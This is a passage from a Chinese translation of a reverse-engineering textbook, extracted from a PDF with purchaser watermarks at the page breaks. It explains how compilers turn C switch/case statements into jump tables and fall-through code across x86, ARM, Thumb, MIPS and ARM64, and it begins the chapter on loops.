13.11 利用转移表计算目标地址 在用鼠标选择“Follow in Dump”→“Address constant”功能之后,即可在数据窗口看见转移表。表里 有 5 个 32 位的值 ① ① OllyDbg 用下画线的格式显示这些值,因为它们也是 FIXUPS。本书的 68.2.6 节会进行详细的解释。 。现在ECX寄存器的值是 2,所以对应表中的第 2 个元素(从 0 开始数)。另外,您还 可以使用OllyDbg的“Follow in Dump→Memory address”功能查看JMP指令的目标地址。此时,这个目标 地址为 0x010B103A。 地址 0x010B103A 处的指令将会打印字符串“two”,如图 13.12 所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 139 图 13.12 使用 OllyDbg 观察 case:label 的触发过程 Non-optimizing GCC GCC 4.4.1 编译出的代码如下。 指令清单 13.5 GCC 4.4.1 public f f proc near ; CODE XREF: main+10 var_18 = dword ptr -18h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_0], 4 ja short loc_8048444 mov eax, [ebp+arg_0] shl eax, 2 mov eax, ds:off_804855C[eax] jmp eax loc_80483FE: ; DATA XREF: .rodata:off_804855C mov [esp+18h+var_18], offset aZero ; "zero" call _puts jmp short locret_8048450 loc_804840C: ; DATA XREF: .rodata:08048560 mov [esp+18h+var_18], offset aOne ; "one" call _puts jmp short locret_8048450 loc_804841A: ; DATA XREF: .rodata:08048564 mov [esp+18h+var_18], offset aTwo ; "two" call _puts jmp short locret_8048450 loc_8048428: ; DATA XREF: .rodata:08048568 mov [esp+18h+var_18], offset aThree ; "three" call _puts jmp short locret_8048450 loc_8048436: ; DATA XREF: .rodata:0804856C mov [esp+18h+var_18], offset aFour ; "four" call _puts jmp short locret_8048450 异步社区会员 dearfuture(15918834820) 专享 尊重版权 140 逆向工程权威指南(上册) loc_8048444: ; CODE XREF: f+A mov [esp+18h+var_18], offset aSomethingUnkno ; "something unknown" call _puts locret_8048450: ; CODE XREF: f+26 ; f+34... leave retn f endp off_804855C dd offset loc_80483FE ; DATA XREF: f+12 dd offset loc_804840C dd offset loc_804841A dd offset loc_8048428 dd offset loc_8048436 这段代码与 MSVC 编译出来的代码几乎相同。参数 arg_0 被左移 2 位(数学上等同于乘以 4,有关指 令介绍请参阅 16.2.1 节),然后在转移表 off_804855C 的数组中获取相应地址,并将计算结果存储于 EAX 寄存器。最后通过 JMP EAX 指令进行跳转。 13.2.2 ARM: Optimizing Keil 6/2013 (ARM mode) 指令清单 13.6 Optimizing Keil 6/2013 (ARM mode) 00000174 f2 00000174 05 00 50 E3 CMP R0, #5 ; switch 5 cases 00000178 00 F1 8F 30 ADDCC PC, PC, R0,LSL#2 ; switch jump 0000017C 0E 00 00 EA B default_case ; jumptable 00000178 default case 00000180 00000180 loc_180 ; CODE XREF: f2+4 00000180 03 00 00 EA B zero_case ; jumptable 00000178 case 0 00000184 00000184 loc_184 ; CODE XREF: f2+4 00000184 04 00 00 EA B one_case ; jumptable 00000178 case 1 00000188 00000188 loc_188 ; CODE XREF: f2+4 00000188 05 00 00 EA B two_case ; jumptable 00000178 case 2 0000018C 0000018C loc_18C ; CODE XREF: f2+4 0000018C 06 00 00 EA B three_case ; jumptable 00000178 case 3 00000190 00000190 loc_190 ; CODE XREF: f2+4 00000190 07 00 00 EA B four_case ; jumptable 00000178 case 4 00000194 00000194 zero_case ; CODE XREF: f2+4 00000194 ; f2:loc_180 00000194 EC 00 8f E2 ADR R0, aZero ; jumptable 00000178 case 0 00000198 04 00 00 EA B loc_1B8 0000019C 0000019C one_case ; CODE XREF: f2+4 0000019C ; f2:loc_184 0000019C EC 00 8F E2 ADR R0, aOne ; jumptable 00000178 case 1 000001A0 04 00 00 EA B loc_1B8 000001A4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 141 000001A4 two_case ; CODE XREF: f2+4 000001A4 ; f2:loc_188 000001A4 01 0C 8F E2 ADR R0, aTwo ; jumptable 00000178 case 2 000001A8 02 00 00 EA B loc_1B8 000001AC 000001AC three_case ; CODE XREF: f2+4 000001AC ; f2:loc_18C 000001AC 01 0C 8F E2 ADR R0, aThree ; jumptable 00000178 case 3 000001B0 00 00 00 EA B loc_1B8 000001B4 000001B4 four_case ; CODE XREF: f2+4 000001B4 ; f2:loc_190 000001B4 01 0C 8F E2 ADR R0, aFour ; jumptable 00000178 case 4 000001B8 000001B8 loc_1B8 ; CODE XREF: f2+4 000001B8 ; f2+2C 000001B8 66 18 10 EA B __2printf 000001BC default_case ; CODE XREF: f2+4 000001BC ; f2+8 000001BC D4 00 8F E2 ADR R0, aSomethingUnkno ; jumptable default case 000001C0 FC FF FF EA B loc_1B8 这段代码充分体现了 ARM 模式下每条汇编指令占用 4 个字节的特点。 这个程序能够识别出4 及4 以下的自然数。当输入值是大于4 的整数时,程序都会显示“something unknown \n”。 第一条指令是“CMP R0, #5”。它将输入变量与 5 做比较。 “ADDCC PC, PC, R0, LSL#2”会在 R0 寄存器的值小于 5 的时候进行加法计算,其中 CC 代表借位标志 Carry Clear。如果 R0 寄存器的值不小于 5,(即 R0 大于或等于 5),则会直接跳转到标签 default_case 处。 如果 R0 寄存器的值是 5 以下的整数,那么将会触发 ADDCC,并且进行下列运算:  将 R0 的值乘以 4。LSL 是左移操作,左移两位(2bits)就相当于乘以 4。  把上述积与 PC 的值相加,并会把运算结果存储在 PC 寄存器里。这种调整 PC 指针的操作,等同 于运行 B 跳转指令。  在执行 ADDCC 指令的时候,PC 寄存器的值会比当前指令的(首)地址提前 8 个字节。此时 ADDCC 的地址是 0x178,PC 的值为 0x180。即,PC 指向当前指令后面的第二条指令。 这是ARM处理器的pipeline/流水线决定的。当ARM处理器执行某条指令时,处理器正在处理(fetch取 指)后面的第二条指令。实际上PC指向后面第二条(正在被fetch/取指的)指令的地址。 ① 13.2.3 ARM: Optimizing Keil 6/2013 (Thumb mode)  如果 a==0,“加零”操作使 PC 寄存器的值不变。所以在 PC 操作之后,CPU 会跳到 8 个字节之 后的 loc_180 处继续执行后续命令,开始执行 ADDCC 指令。  如果 a==1,则 PC+8+a×4=PC+16=0x184。程序会跳转到 loc_184 处。  依此类推,变量 a 的值每增加 1,PC 的值就会增加 4。这 4 字节是每个分支语句的唯一一条指令—— B 指令的 opcode 的长度。在 ADDCC 之后,总共有 5 个 B 跳转指令。 后面的指令比较容易理解,5 条 B 跳转指令接着完成各自赋值和打印的任务,完成 switch()语句的功能。 指令清单 13.7 Optimizing Keil 6/2013 (Thumb mode) 000000F6 EXPORT f2 000000F6 f2 ① 虽然 pipeline 三级流水的解释较为直观,但是官方手册《ARM architecture reference manual》第 1 章第 2 节否认了这种硬件上 的联系,它把 PC 与指令间 opcode 的增量关系解释为历史原因。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 142 逆向工程权威指南(上册) 000000F6 10 B5 PUSH {R4,LR} 000000F8 03 00 MOVS R3, R0 000000FA 06 F0 69 F8 BL __ARM_common_switch8_thumb ; switch 6 cases 000000FE 05 DCB 5 000000FF 04 06 08 0A 0C 10 DCB 4, 6, 8, 0xA, 0xC, 0x10 ; jump table for switch statement 00000105 00 ALIGN 2 00000106 00000106 zero_case ; CODE XREF: f2+4 00000106 8D A0 ADR R0, aZero ; jump table 000000FA case 0 00000108 06 E0 B loc_118 0000010A 0000010A one_case ; CODE XREF: f2+4 0000010A 8E A0 ADR R0, aOne ; jumptable 000000FA case 1 0000010C 04 E0 B loc_118 0000010E 0000010E two_case ; CODE XREF: f2+4 0000010E 8F A0 ADR R0, aTwo ; jumptable 000000FA case 2 00000110 02 E0 B loc_118 00000112 00000112 three_case ; CODE XREF: f2+4 00000112 90 A0 ADR R0, aThree ; jumptable 000000FA case 3 00000114 00 E0 B loc_118 00000116 00000116 four_case ; CODE XREF: f2+4 00000116 91 A0 ADR R0, aFour ; jumptable 000000FA case 4 00000118 00000118 loc_118 ; CODE XREF: f2+12 00000118 ; f2+16 00000118 06 F0 6A F8 BL __2printf 0000011C 10 BD POP {R4,PC} 0000011E 0000011E default_case ; CODE XREF: f2+4 0000011E 82 A0 ADR R0, aSomethingUnkno ; jumptable 000000FA default case 00000120 FA E7 B loc_118 000061D0 EXPORT __ARM_common_switch8_thumb 000061D0 __ARM_common_switch8_thumb ; CODE XREF: example6_f2+4 000061D0 78 47 BX PC 000061D2 00 00 ALIGN 4 000061D2 ; End of function __ARM_common_switch8_thumb 000061D2 000061D4 __32__ARM_common_switch8_thumb ; CODE XREF__ARM_common_switch8_thumb 000061D4 01 C0 5E E5 LDRB R12, [LR,#-1] 000061D8 0C 00 53 E1 CMP R3, R12 000061DC 0C 30 DE 27 LDRCSB R3, [LR,R12] 000061E0 03 30 DE 37 LDRCCB R3, [LR,R3] 000061E4 83 C0 8E E0 ADD R12, LR, R3,LSL#1 000061E8 1C FF 2F E1 BX R12 000061E8 ; End of function __32__ARM_common_switch8_thumb Thumb 和 Thumb-2 程序的 opcode 长度并不固定。这一特征更接近 x86 系统的程序。 它们的程序代码里有一个专门用于存储 case 从句信息(default 以外)的表。这个表负责记录 case 从句 的数量、偏移量和标签,以便程序可以进行准确的寻址。程序通过这个表单进行相应的跳转,继而处理相 应的分支 case 语句。 因为需要操作转移表并进行后续跳转,所以这个程序也使用了专用函数_ARM_common_ switch8_thumb。 这个函数的第一条指令是“BX PC”,它将运行模式切换到 32 位的 ARM 模式,然后在 32 位模式下进行操作。 然后函数着手表查询和分支转移单操作。具体指令非常复杂,本文在这里只是简单介绍一下,暂时不进行详解。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 143 比较有趣的是,这个函数使用 LR 寄存器存储表的指针。在调用这个函数之后,LR 寄存器存储着“BL __ARM_common_switch8_thumb ”的后续指令的地址,也就是表开始的地址。 这个程序出现了每个 switch()陈述句都会复用的专用函数,具有显著的结构化特征。可能是编译器为 了避免生成重复代码而进行的处理。 IDA 能够自动识别出这个函数和相应的转移表。IDA 还能给相应的条目加上合理的注释。举例来说, IDA 就给本例添加了“jumptable 000000FA case 0”这样的注释。 13.2.4 MIPS 指令清单 13.8 Optimizing GCC 4.4.5 (IDA) f: lui $gp, (__gnu_local_gp >> 16) ; jump to loc_24 if input value is lesser than 5: sltiu $v0, $a0, 5 bnez $v0, loc_24 la $gp, (__gnu_local_gp & 0xFFFF) ; branch delay slot ; input value is greater or equal to 5. ; print "something unknown" and finish: lui $a0, ($LC5 >> 16) # "something unknown" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; NOP jr $t9 la $a0, ($LC5 & 0xFFFF) # "something unknown" ; branch delay slot loc_24: # CODE XREF: f+8 ; load address of jumptable ; LA is pseudoinstruction, LUI and ADDIU pair are there in fact: la $v0, off_120 ; multiply input value by 4: sll $a0, 2 ; sum up multiplied value and jumptable address: addu $a0, $v0, $a0 ; load element from jumptable: lw $v0, 0($a0) or $at, $zero ; NOP ; jump to the address we got in jumptable: jr $v0 or $at, $zero ; branch delay slot, NOP sub_44: # DATA XREF: .rodata:0000012C ; print "three" and finish lui $a0, ($LC3 >> 16) # "three" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; NOP jr $t9 la $a0, ($LC3 & 0xFFFF) # "three" ; branch delay slot sub_58: # DATA XREF: .rodata:00000130 ; print "four" and finish lui $a0, ($LC4 >> 16) # "four" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; NOP jr $t9 la $a0, ($LC4 & 0xFFFF) # "four" ; branch delay slot sub_6C: # DATA XREF: .rodata:off_120 ; print "zero" and finish lui $a0, ($LC0 >> 16) # "zero" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; NOP jr $t9 la $a0, ($LC0 & 0xFFFF) # "zero" ; branch delay slot sub_80: # DATA XREF: .rodata:00000124 异步社区会员 dearfuture(15918834820) 专享 尊重版权 144 逆向工程权威指南(上册) ; print "one" and finish lui $a0, ($LC1 >> 16) # "one" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; NOP jr $t9 la $a0, ($LC1 & 0xFFFF) # "one" ; branch delay slot sub_94: # DATA XREF: .rodata:00000128 ; print "two" and finish lui $a0, ($LC2 >> 16) # "two" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; NOP jr $t9 la $a0, ($LC2 & 0xFFFF) # "two" ; branch delay slot ; may be placed in .rodata section: off_120: .word sub_6C .word sub_80 .word sub_94 .word sub_44 .word sub_58 上述代码出现了 SLTIU(Set on Less Than lmmediate Unsigned)指令。它和 SLTU(Set on Less Than Unsigned)的功能基本相同。请注意,这两个指令名称里差了一个“立即数(immediate)”字样。这说明 前者需要在指令中指定既定的立即数。 BNEZ 是“在非零情况下进行转移/Branche if Not Equal to Zero”的缩写。 上述代码和其他指令集的代码十分相近。SLL(Shift Word Left Logical)是逻辑左移的指令,本例用它进行 “乘以 4”的运算。毕竟这是一个面向 32 位 MIPS CPU 的程序,所有转移表里的所有地址都是 32 位指针。 13.2.5 总结 switch()的大体框架参见指令清单 13.9。 指令清单 13.9 x86 MOV REG,input CMP REG,4 ; maximal number of cases JA default SHL REG,3 ; find element in table.shift for 3bits in x64. MOV REG, jump_table[REG] JMP REG case1; ; do something JMP exit case2; ; do something JMP exit case3; ; do something JMP exit case4; ; do something JMP exit Case5; ; do something JMP exit defaule: … exit: … 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 145 jump_table dd casel dd case2 dd case3 dd case4 dd case5 若不使用上述指令,我们也可以在 32 位系统上使用指令 JMP jump_table[REG*4]/在 64 位上使用 JMP jump_table[REG*8],实现转移表中的寻址计算。 说到底,转移表只不过是某种指针数组它和 18.5 节介绍的那种指针数组十分雷同。 13.3 case 从句多对一的情况 多个 case 陈述从句触发同一系列操作的情况并不少见,例如: #include <stdio.h> void f (int a) { switch (a) { case 1: case 2: case 7: case 10: printf ("1, 2, 7, 10\n"); break; case 3: case 4: case 5: case 6: printf ("3, 4, 5\n"); break; case 8: case 9: case 20: case 21: printf ("8 9, 21\n"); break; case 22: printf ("22\n"); break; default: printf ("default\n"); break; }; }; int main () { f(4); }; 如果编译器刻板地按照每种可能的逻辑分支逐一分配对应的指令组,那么程序里将会存在大量的重复 指令。一般而言,编译器会通过某种派发机制来降低代码的冗余度。 13.3.1 MSVC 使用 MSVC 2010(启用/Ox 选项)编译上述程序,可得到如下指令。 指令清单 13.10 Optimizing MSVC 2010 1 $SG2798 DB '1, 2, 7, 10', 0aH, 00H 2 $SG2800 DB '3, 4, 5', 0aH, 00H 3 $SG2802 DB '8, 9, 21', 0aH, 00H 4 $SG2804 DB '22', 0aH, 00H 异步社区会员 dearfuture(15918834820) 专享 尊重版权 146 逆向工程权威指南(上册) 5 $SG2806 DB 'default', 0aH, 00H 6 7 _a$ = 8 8 _f PROC 9 mov eax, DWORD PTR _a$[esp-4] 10 dec eax 11 cmp eax, 21 12 ja SHORT $LN1@f 13 movzx eax, BYTE PTR $LN10@f[eax] 14 jmp DWORD PTR $LN11@f[eax*4] 15 $LN5@f: 16 mov DWORD PTR _a$[esp-4], OFFSET $SG2798 ; '1, 2, 7, 10' 17 jmp DWORD PTR __imp__printf 18 $LN4@f: 19 mov DWORD PTR _a$[esp-4], OFFSET $SG2800 ; '3, 4, 5' 20 jmp DWORD PTR __imp__printf 21 $LN3@f: 22 mov DWORD PTR _a$[esp-4], OFFSET $SG2802 ; '8, 9, 21' 23 jmp DWORD PTR __imp__printf 24 $LN2@f: 25 mov DWORD PTR _a$[esp-4], OFFSET $SG2804 ; '22' 26 jmp DWORD PTR __imp__printf 27 $LN1@f: 28 mov DWORD PTR _a$[esp-4], OFFSET $SG2806 ; 'default' 29 jmp DWORD PTR __imp__printf 30 npad 2 ; align $LN11@f table on 16-byte boundary 31 $LN11@f: 32 DD $LN5@f ; print '1, 2, 7, 10' 33 DD $LN4@f ; print '3, 4, 5' 34 DD $LN3@f ; print '8, 9, 21' 35 DD $LN2@f ; print '22' 36 DD $LN1@f ; print 'default' 37 $LN10@f: 38 DB 0 ; a=1 39 DB 0 ; a=2 40 DB 1 ; a=3 41 DB 1 ; a=4 42 DB 1 ; a=5 43 DB 1 ; a=6 44 DB 0 ; a=7 45 DB 2 ; a=8 46 DB 2 ; a=9 47 DB 0 ; a=10 48 DB 4 ; a=11 49 DB 4 ; a=12 50 DB 4 ; a=13 51 DB 4 ; a=14 52 DB 4 ; a=15 53 DB 4 ; a=16 54 DB 4 ; a=17 55 DB 4 ; a=18 56 DB 4 ; a=19 57 DB 2 ; a=20 58 DB 2 ; a=21 59 DB 3 ; a=22 60 _f ENDP 这个程序用到了两个表:一个是索引表$LN10@f;另一个是转移表$LN11@f。 第 13 行的 movzx 指令在索引表里查询输入值。 索引表的返回值又分为 0(输入值为 1、2、7、10)、1(输入值为 3、4、5)、2(输入值为 8、9、21)、 3(输入值为 22)、4(其他值)这 5 种情况。 程序把索引表的返回值作为关键字,再在第二个转移表里进行查询,以完成相应跳转(第 14 行指令的作用)。 需要注意的是,输入值为 0 的情况没有相应的 case 从句。如果 a=0,则“dec eax”指令会继续进行计 算,而$LN10@f 表的查询是从 1 开始的。可见,没有必要为 0 的特例设置单独的表。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 147 这是一种普遍应用的编译技术。 表面看来,这种双表结构似乎不占优势。为什么它不象前文(请参见 13.2.1 节)那样采用一个统一的指 针结构呢?在这种双表结构中,索引表采用的是 byte 型数据,所以双表结构比前面那种单表结构更为紧凑。 13.3.2 GCC 在编译这种多对一的 switch 语句时,GCC 会生成统一的转移表。其代码风格和前文 13.2.1 节的风格 相同。 13.3.3 ARM64: Optimizing GCC 4.9.1 因为输入值为零的情况没有对应的处理方法,所以 GCC 会从输入值为 1 的特例开始枚举各个分支, 以便把转移表压缩得尽可能小。 GCC 4.9.1for ARM64 的编译技术更为优越。它能把所有的偏移量信息编码为 8 位字节型数据、封装在单条 指令的 opcode 里。前文介绍过,ARM64 程序的每条指令都对应着 4 个字节的 opcode。在本例这种类型的小型 代码中,各分支偏移量的具体数值不会很大。GCC 能够充分利用这一现象,构造出单字节指针组成的转移表。 指令清单 13.11 Optimizing GCC 4.9.1 ARM64 f14: ; input value in W0 sub w0, w0, #1 cmp w0, 21 ; branch if less or equal (unsigned): bls .L9 .L2: ; print "default": adrp x0, .LC4 add x0, x0, :lo12:.LC4 b puts .L9: ; load jumptable address to X1: adrp x1, .L4 add x1, x1, :lo12:.L4 ; W0=input_value-1 ; load byte from the table: ldrb w0, [x1,w0,uxtw] ; load address of the Lrtx label: adr x1, .Lrtx4 ; multiply table element by 4 (by shifting 2 bits left) and add (or subtract) to the address of lrtx add x0, x1, w0, sxtb #2 ; jump to the calculated address: br x0 ; this label is pointing in code (text) segment: .Lrtx4: .section .rodata ; everything after ".section" statement is allocated in the read-only data (rodata) segment: .L4: .byte (.L3 - .Lrtx4) / 4 ;case 1 .byte (.L3 - .Lrtx4) / 4 ;case 2 .byte (.L5 - .Lrtx4) / 4 ;case 3 .byte (.L5 - .Lrtx4) / 4 ;case 4 .byte (.L5 - .Lrtx4) / 4 ;case 5 .byte (.L5 - .Lrtx4) / 4 ;case 6 .byte (.L3 - .Lrtx4) / 4 ;case 7 .byte (.L6 - .Lrtx4) / 4 ;case 8 .byte (.L6 - .Lrtx4) / 4 ;case 9 .byte (.L3 - .Lrtx4) / 4 ;case 10 .byte (.L2 - .Lrtx4) / 4 ;case 11 .byte (.L2 - .Lrtx4) / 4 ;case 12 .byte (.L2 - .Lrtx4) / 4 ;case 13 异步社区会员 dearfuture(15918834820) 专享 尊重版权 148 逆向工程权威指南(上册) .byte (.L2 - .Lrtx4) / 4 ;case 14 .byte (.L2 - .Lrtx4) / 4 ;case 15 .byte (.L2 - .Lrtx4) / 4 ;case 16 .byte (.L2 - .Lrtx4) / 4 ;case 17 .byte (.L2 - .Lrtx4) / 4 ;case 18 .byte (.L2 - .Lrtx4) / 4 ;case 19 .byte (.L6 - .Lrtx4) / 4 ;case 20 .byte (.L6 - .Lrtx4) / 4 ;case 21 .byte (.L7 - .Lrtx4) / 4 ;case 22 .text ; everything after ".text" statement is allocated in the code (text) segment: .L7: ; print "22" adrp x0, .LC3 add x0, x0, :lo12:.LC3 b puts .L6: ; print "8, 9, 21" adrp x0, .LC2 add x0, x0, :lo12:.LC2 b puts .L5: ; print "3, 4, 5" adrp x0, .LC1 add x0, x0, :lo12:.LC1 b puts .L3: ; print "1, 2, 7, 10" adrp x0, .LC0 add x0, x0, :lo12:.LC0 b puts .LC0: .string "1, 2, 7, 10" .LC1: .string "3, 4, 5" .LC2: .string "8, 9, 21" .LC3: .string "22" .LC4: .string "default" 把上述程序编译为 obj 文件,然后再使用 IDA 打开,可看到其转移表如下。 指令清单 13.12 jumptable in IDA .rodata:0000000000000064 AREA .rodata, DATA, READONLY .rodata:0000000000000064 ; ORG 0x64 .rodata:0000000000000064 $d DCB 9 ; case 1 .rodata:0000000000000065 DCB 9 ; case 2 .rodata:0000000000000066 DCB 6 ; case 3 .rodata:0000000000000067 DCB 6 ; case 4 .rodata:0000000000000068 DCB 6 ; case 5 .rodata:0000000000000069 DCB 6 ; case 6 .rodata:000000000000006A DCB 9 ; case 7 .rodata:000000000000006B DCB 3 ; case 8 .rodata:000000000000006C DCB 3 ; case 9 .rodata:000000000000006D DCB 9 ; case 10 .rodata:000000000000006E DCB 0xF7 ; case 11 .rodata:000000000000006F DCB 0xF7 ; case 12 .rodata:0000000000000070 DCB 0xF7 ; case 13 .rodata:0000000000000071 DCB 0xF7 ; case 14 .rodata:0000000000000072 DCB 0xF7 ; case 15 .rodata:0000000000000073 DCB 0xF7 ; case 16 .rodata:0000000000000074 DCB 0xF7 ; case 17 .rodata:0000000000000075 DCB 0xF7 ; case 18 .rodata:0000000000000076 DCB 0xF7 ; case 19 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 149 .rodata:0000000000000077 DCB 3 ; case 20 .rodata:0000000000000078 DCB 3 ; case 21 .rodata:0000000000000079 DCB 0 ; case 22 .rodata:000000000000007B ; .rodata ends 当输入值为 1 时,目标偏移量的技术方法是:9 乘以 4、再加上 Lrtx4 的偏移量。当输入值为 22 时, 目标偏移量为:0 乘以 4、结果为 0。在转移表 Lrtx4 之后就是 L7 的标签的指令了,这部分指令将负责打 印数字 22。请注意,转移表位于单独的.rodata 段。编译器没有把它分配到.text 的代码段里。 上述转移表有一个负数 0xF7。这个偏移量指向了打印默认字符串(.L2 标签)的相关指令。 13.4 Fall-through Switch()语句还有一种常见的使用方法——fall-through。 1 #define R 1 2 #define W 2 3 #define RW 3 4 5 void f(int type) 6 { 7 int read=0, write=0; 8 9 switch (type) 10 { 11 case RW: 12 read=1; 13 case W: 14 write=1; 15 break; 16 case R: 17 read=1; 18 break; 19 default: 20 break; 21 }; 22 printf ("read=%d, write=%d\n", read, write); 23 }; 如果 type 为 1(参见第一行可知,这是读取权限 R 为真的情况),则 read 的值会被设置为 1;如果 type 为 2(W),则 write 被设置 1;如果 type 为 3(RW),则 read 和 write 的值都会被设置为 1。 无论 type 的值是 RW 还是 W,程序都会执行第 14 行的指令。type 为 RW 的陈述语句里没有 break 指 令,从而利用 switch 语句的 fall through 效应。 13.4.1 MSVC x86 指令清单 13.13 MSVC 2012 $SG1305 DB 'read=%d, write=%d', 0aH, 00H _write$ = -12 ; size= 4 _read$ = -8 ; size= 4 tv64 = -4 ; size= 4 _type$ = 8 ; size= 4 _f PROC push ebp mov ebp, esp sub esp, 12 mov DWORD PTR _read$[ebp], 0 mov DWORD PTR _write$[ebp], 0 mov eax, DWORD PTR _type$[ebp] mov DWORD PTR tv64[ebp], eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 150 逆向工程权威指南(上册) cmp DWORD PTR tv64[ebp], 1 ; R je SHORT $LN2@f cmp DWORD PTR tv64[ebp], 2 ; W je SHORT $LN3@f cmp DWORD PTR tv64[ebp], 3 ; RW je SHORT $LN4@f jmp SHORT $LN5@f $LN4@f: ; case RW: mov DWORD PTR _read$[ebp], 1 $LN3@f: ; case W: mov DWORD PTR _write$[ebp], 1 jmp SHORT $LN5@f $LN2@f: ; case R: mov DWORD PTR _read$[ebp], 1 $LN5@f: ; default mov ecx, DWORD PTR _write$[ebp] push ecx mov edx, DWORD PTR _read$[ebp] push edx push OFFSET $SG1305 ; 'read=%d, write=%d' call _printf add esp, 12 mov esp, ebp pop ebp ret 0 _f ENDP 上述汇编指令与 C 语言源代码几乎一一对应。因为在$LN4@f 和$LN3@f 之间没有转移指令,所以当 程序执行了$LN4@f 处的“令 read 的值为 1”的指令之后,它还会执行后面那个标签的 write 赋值指令。这 也是“fall through”(滑梯)这个名字的来源:当执行完前面那个陈述语句的指令(read 赋值)之后,继续 执行下一个陈述语句的指令(write 赋值)。如果 type 的值为 W,程序会执行$LN3@f 的指令,而不会执行 前面那个 read 赋值指令。 13.4.2 ARM64 指令清单 13.14 GCC (Linaro) 4.9 .LC0: .string "read=%d, write=%d\n" f: stp x29, x30, [sp, -48]! add x29, sp, 0 str w0, [x29,28] str wzr, [x29,44] ; set "read" and "write" local variables to zero str wzr, [x29,40] ldr w0, [x29,28] ; load "type" argument cmp w0, 2 ; type=W? beq .L3 cmp w0, 3 ; type=RW? beq .L4 cmp w0, 1 ; type=R? beq .L5 b .L6 ; otherwise... .L4: ; case RW mov w0, 1 str w0, [x29,44] ; read=1 .L3: ; case W mov w0, 1 str w0, [x29,40] ; write=1 b .L6 .L5: ; case R mov w0, 1 str w0, [x29,44] ; read=1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 151 nop .L6: ; default adrp x0, .LC0 ; "read=%d, write=%d\n" add x0, x0, :lo12:.LC0 ldr w1, [x29,44] ; load "read" ldr w2, [x29,40] ; load "write" bl printf ldp x29, x30, [sp], 48 ret Arm64 程序的汇编指令与 MSVC x86 的汇编指令大致相同。偏移器同样没有在标签.L4 和标签.L3 之间分配转移指令,从而形成了 Switch()语句的 fall-through 效应。 13.5 练习题 13.5.1 题目 1 13.2 节有一段 C 语言源代码。请改写这个程序,并且在不改变程序功能的前提下,让编译器生成体积 更小的可执行程序。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1144 章 章 循 循 环 环 14.1 举例说明 14.1.1 x86 x86 指令集里有一条专门的 LOOP 指令。LOOP 指令检测 ECX 寄存器的值是否是 0,如果它不是 0 则 将其递减,并将操作权交给操作符所指定的标签处(即跳转)。或许是因为循环指令过于复杂的缘故,我至 今尚未见过直接使用 LOOP 指令将循环语句转译成汇编语句的编译器。所以,如果哪个程序直接使用 LOOP 指令进行循环控制,那它很可能就是手写的汇编程序。 C/C++语言的循环控制语句主要分为 for()、while()、do/while()语句。 我们从 for()语句开始演示。 for()语句定义了循环的初始态(计数器的初始值)、循环条件(在变量满足何等条件下继续进行循环), 以及循环控制(每次循环后对变量进行什么操作,通常是递增或递减)。当然这种语句也必须声明循环体, 即每次循环时要实现什么操作。简而言之,for()语句的使用方法是: for (初始态;循环条件;循环控制) { 循环体; } 根据 for()语句所代表的各种功能,编译器会把 for()语句在编译为 4 个相应的功能体。 我们一起来编译下面的程序: #include <stdio.h> void printing_function(int i) { printf ("f(%d)\n", i); }; int main() { int i; for (i=2; i<10; i++) printing_function(i); return 0; }; 使用 MSVC 2010 编译上述程序,可得到如下所示的指令。 指令清单 14.1 MSVC 2010 _i$ = -4 _main PROC push ebp mov ebp, esp push ecx mov DWORD PTR _i$[ebp], 2 ; 初始态 jmp SHORT $LN3@main $LN2@main: mov eax, DWORD PTR _i$[ebp] ; 循环控制语句: add eax, 1 ; i 递增 1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 14 章 循 环 153 mov DWORD PTR _i$[ebp], eax $LN3@main: cmp DWORD PTR _i$[ebp], 10 ; 判断是否满足循环条件 jge SHORT $LN1@main ; 如果 i=10 则终止循环语句 mov ecx, DWORD PTR _i$[ebp] ; 循环体: call f(i) push ecx call _printing_function add esp, 4 jmp SHORT $LN2@main ; 跳到循环开始处 $LN1@main: ; 循环结束 xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP 上面的汇编代码可以说是中规中矩。 使用 GCC 4.4.1(未启用优化选项)编译上述程序,可得到下述汇编指令。 指令清单 14.2 GCC 4.4.1 main proc near var_20 = dword ptr -20h var_4 = dword ptr –4 push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 20h mov [esp+20h+var_4], 2 ; (i) initializing jmp short loc_8048476 loc_8048465: mov eax, [esp+20h+var_4] mov [esp+20h+var_20], eax call printing_function add [esp+20h+var_4], 1 ; (i) increment loc_8048476: cmp [esp+20h+var_4], 9 jle short loc_8048465 ; if i<=9, continue loop mov eax, 0 leave retn main endp 在开启优化选项(/Ox)后,MSVC 的编译结果如下。 指令清单 14.3 Optimizing MSVC _main PROC push esi mov esi, 2 $LL3@main: push esi call _printing_function inc esi add esp, 4 cmp esi, 10 ; 0000000aH jl SHORT $LL3@main xor eax, eax pop esi ret 0 _main ENDP 在开启优化选项后,ESI 寄存器成为了局部变量 i 的专用寄存器;而在通常情况下,局部变量都应当 位于栈。可见,编译器会在局部变量为数不多的情况下进行这样的优化。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 154 逆向工程权威指南(上册) 进行这种优化的前提条件是:被调用方函数不应当修改局部变量专用寄存器的值。当然,在本例中编 译器能够判断函数 printing_function ()不会修改 ESI 寄存器的值。在编译器决定给局部变量分配专用寄存器 的时候,它会在函数序言部分保存这些专用寄存器的初始状态,然后在函数尾声里还原这些寄存器的原始 值。因此,您可以在本例 main()函数的序言和尾声中分别看见 PUSH ESI/POP ESI 指令。 现在启用 GCC 4.4.1 的最深程度优化选项-O3,看看生成的汇编指令。 指令清单 